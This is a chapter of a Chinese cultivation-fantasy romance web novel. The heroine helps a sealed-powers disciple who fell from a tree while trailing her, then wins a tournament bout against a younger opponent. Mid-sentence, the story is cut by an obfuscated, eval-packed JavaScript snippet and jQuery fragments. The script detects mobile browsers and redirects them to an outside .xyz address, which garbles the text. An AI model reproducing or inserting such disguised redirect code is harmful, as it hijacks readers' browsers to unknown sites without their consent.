吃饱喝足,周不周没了再待下去的兴致,看一眼和人聊着天的预备院长,又看看左右已经去社交了的林安乐和陈恒常,她决定——
开溜!
方正院分作东西,以凝玉河为界,东为学习之场所,各小院功能不同,学习内容不同,装潢也就不大一样。
方正楼也在东院,作为综合楼来说,是整个方正院最高的建筑。楼顶是院长居所,往下是夫子们休憩备课的场所,以及兼具了刑罚堂、律法堂等各种功能。
而凝玉河以西,为休闲生活之所,学生寝室就在这边。
河边种着柳树,枝条随风吹来,叫人好不惬意。
云层在岛之下,所以浮空岛的蓝天清澈万里无云。
这里也是离雷劫最近的地方。
周不周在河边慢吞吞地散步,偶尔抓起地上的石子打个水漂,再随手摘下一朵花别在头顶。
于是半刻钟过去了,她脑袋像花丛一样,被戴满了粉粉红红的鲜花。
她瞧见河边往前有座亭子,四角挂着风铃,声音清脆好听,于是提起裙摆就要往那里走去。
只是走到一半,她脚下出现一道影子,那影子投在地上从小变大。
而后,“砰”的一声。
尘土飞扬。
周不周被呛得咳嗽了几声,忙用袖子捂住口鼻。
本来只是跟踪的许净凇:“……”
他很想站起来就跑,趁着周不周还没反应过来,至少不让她看到自己的脸。
这不是他想要的初见!
一点都不美好,一点都不浪漫……可是他如今没了灵力,从树上摔下来确实很疼,一时半会有点动弹不了。
许净凇绝望地闭上眼睛。
等灰尘散去了,周不周才放下手,打量起了脚边的男人。
他皮肤白皙,鼻梁高挺,细长浓密的睫毛在眼下投出一片阴影,此刻正不安地颤动着。
薄唇紧闭,抿成一条直线,眉心紧蹙,足可见他的紧张。
周不周松了口气,没死就行。
这人头可别算她头上!
周不周本想直接转头就走,因为她莫名有种不祥的预感,不知道究竟是源自哪里的感受……
很快,她就知道预感来源于何处了—
“叮”
鎏火的声音不合时宜地响起,它贱兮兮地躲在她的丹田中看戏:【大人,我回来了哦,您忘了您要做什么了吗?大人,我看着您呢。】
深呼吸。
周不周微笑。
她总算知道为什么会有预感了,原来真的是某个不祥的东西回来了。
看来她是跑不掉了。周不周任认命地叹气,蹲下身戳了戳男人的胸膛:“喂,还活着没。”
男人呼吸急促,胸腔有力地起伏,耳尖一瞬间变红。
显然没死。
许净凇小心翼翼地睁开眼睛,和她对视。
看到这双眼睛,周不周才想起来,这不是方才把她当“负心娘”的那位嘛!
周不周尽量保持着和善的语气问他:“你还好吗,能站起来吗?需要我找医修来吗?”
许净凇不敢和她对视,怕自己的心思败露,他别开眼:“……无碍。”
“你不是修士吗?按理说这里不会有普通人啊,你的灵力呢?”周不周发自内心地问道,“而且,你为什么是从树上摔下来的?”
……总不能说自己在跟踪她。许净凇选择避重就轻地回答前一个问题:“我被下了封灵丹……”
未尽之意不必多说,周不周了悟。
难得有些同情他。
估计是参与灵骄宴的其他人给他下的,叫他无法参与比试,也就不会有排名了。
这种腌臜手段她见得多了。
然而丹田中的鎏火听到这略微熟悉的声音,略微惊讶地探出头看了一眼。
行,又是他。
鎏火还记得这人,万恶的前任维护者,没上岗就半路跑了。明明天生佛骨,是最适合成为维护者的人选,却爱上了某个魔头,学着她成为了剑修。
现在也不知道这崽子心里多乐呵呢,见到了多年的梦中情人。
鎏火越想越生气,它明明应该气周不周把它选好的维护者钓走了,让它工作量剧增的。
可是它脑瓜子转了好一会,最终还是觉得周不周只是无辜的,她这个榆木脑袋什么都看不出来,能做出什么事情呢。
自家白菜要被拱了,还是个非常坏蛋,但是它……总之它什么也没办法说,只好眼不见心不烦,裹着金丹入眠。
金丹跳了跳,安抚般蹭蹭鎏火。
许净凇说完后,见她沉默了一会儿。他有些紧张,莫不是被识破了。
然而周不周想的是——
如果要做好人好事,下一步要干嘛来着?
喔……周不周眨眨眼睛,又戳了下许净凇的胸膛:“喂!你寝室在哪间,我送你过去。”
“戊门……一十八。”
*
说着无碍,其实还是扭到了脚。以至于踏入房门的时候,险些再摔一跤。
好在周不周伸手抱住了他,没让他脸朝地倒下。
周不周松了口气。她不想这个破烂的判定把毁容也算在她头上。
许净凇一颗心瞬间被吊起。鼻间是她独有的香气,无法描述这种味道,只让他有种沉溺其中的错觉。
想……凑的更近。
不过他很快回神,庆幸自己的脸没有摔到。他知道周不周对于美色来说,美食更诱人,但是比起丑陋的男人,周不周还是会更喜欢貌美的。
在她身边伺候的奴仆,面容一个比一个俊俏。
据她的说法是:
“太丑了我看见会吃不下饭的。”
许净凇对自己的脸有自信,摆着他脸最美的角度面对周不周,发丝垂落在鼻尖那颗痣上,狭长的狐狸眼垂下,浑身散发着勾人的气息。
但是被勾引的那人,只是生硬地递出白玉瓷瓶给他:“这是你房中药箱里的,院里每个人一份,吃了就能好。”
许净凇盯着瓷瓶,半晌,也只是闷着嗓子“嗯”了一声,而后接过瓷瓶。
瓷瓶中装着八品疗愈丹,吃一颗即可修复简单的内外伤。
对于扭挫伤来说简直不在话下。
周不周看着他扭脚的那块肿起渐渐消退,总算是松口气了。
她摆摆手:“没什么事情我就先回去了。”
什么多余的话也没说,也不等他回应,转身就走。
只是才拉开门,许净凇就喊住了她:“等等!”
“我……我叫许净凇。”许净凇盯着周不周的背影,问着那个他早已知道答案的问题,“你叫什么?”
“……周不周。”
*
后悔告诉他自己在他隔壁了。
第二天周不周有比试,她正要启程前往东院,隔壁的门就开了,像是一直盯着这边的动静一样。
许净
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519202|186241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凇身姿挺拔,神色平静,看向她的时候眼底荡开一抹温柔:“你今日是有比试吗?”
周不周把烤鸡往身后藏了藏,尴尬地回答道:“嘿嘿……哈是有比试来着,我现在正要去呢。”
“不知周师妹可否……带我一个?”
*
总之,周不周身后又跟了个大尾巴。
虽然不知道为什么自己会答应他……周不周晃晃脑袋,不再想。
头几天的比试,是五十岁以下的弟子参与的,和百岁弟子不用同一个排行。
周不周才十八,按理说是应该排进这一组的。可是她等阶乃金丹中期,早已不在正常五十岁修士的等阶范畴里了。
院方纠结万分,一直磨磨唧唧拖到宴会前夕也不曾定下来。
于是被尚且不知道事情的某位夫子直接就登记了。
周不周,将要前往五十岁组合参与比试。
她拿到通知的时候目瞪口呆。
因为她记得陈恒常说的,五十岁以下的弟子们,没几个突破了金丹,顶多就是临门一脚。
他们大多是五十岁出头六十岁的年纪突破金丹。
那怎么比?直接一刀一个吗?
若真是这样……她跟切菜有什么区别?根本没有体验感!
很快,周不周就赶到了比试现场。
这个年龄段的修士大多是不谙世事的愣头青,一腔热血就上了台。
等到看见对面是个金丹时,愣了愣。
少年开口问周不周:“你走错组了吗?今日百岁组并未开场。”
周不周叹气:“我也想走错组,可我真的被分来这里了。”
少年:……
没办法了,他硬着头皮从丹田中取出本命武器。
一把比人高的大砍刀。
那砍刀寒光凛凛,刀身上还有一个硕大的缺口,缺口内部凹凸不平。
周不周也掏出鎏火剑,二人相互拱手敬礼后,各自戒备地看着对方。
率先发起攻击的是少年。
他后撤步半绕圈地观察了一会儿周不周,决定主动出击。
于是脚下轻点,飞速地迎着周不周的面门而去,抬手,将要砍下的瞬间,又鬼魅般闪到了她的左手边,手中生火,向周不周烧去。
周不周挑眉,示意鎏火看:【是你同门呢。】
鎏火看了一眼,辨认后发现只是紫色等阶后,又继续躺下了。
不着急,有它在,低于它等阶的火烧不伤周不周,高于它等阶的……并不存在。
周不周倒是很佩服少年,拿着超重的砍刀,速度还能这么快。
可惜,他迎战的是周不周。
左手掐诀吞灭那团席卷而来的火,又下腰躲避紧随其后的大刀,接着手肘一顶,就将他顶退了几步。
趁胜追击,周不周挥着剑朝他飞速刺去,少年反应及时,也只能狼狈闪避。
接连躲避了十几剑后,他的汗水浸透了后背,心却瞬间揪了起来。
那双清澈的眼睛里,倒映出朝他眼睛刺来的剑。
少年绝望闭眼。
锐利的剑尖在他眼球前仅一寸的距离停下。
周不周收了剑,转身面对着比试台下叫好的观众。
鎏火感叹:【大人都开始尊重生命了啊。】
【你想多了。】周不周扬了扬下巴,示意鎏火看去——
台下一块木牌,上题字:禁止杀人。
鎏火:【……】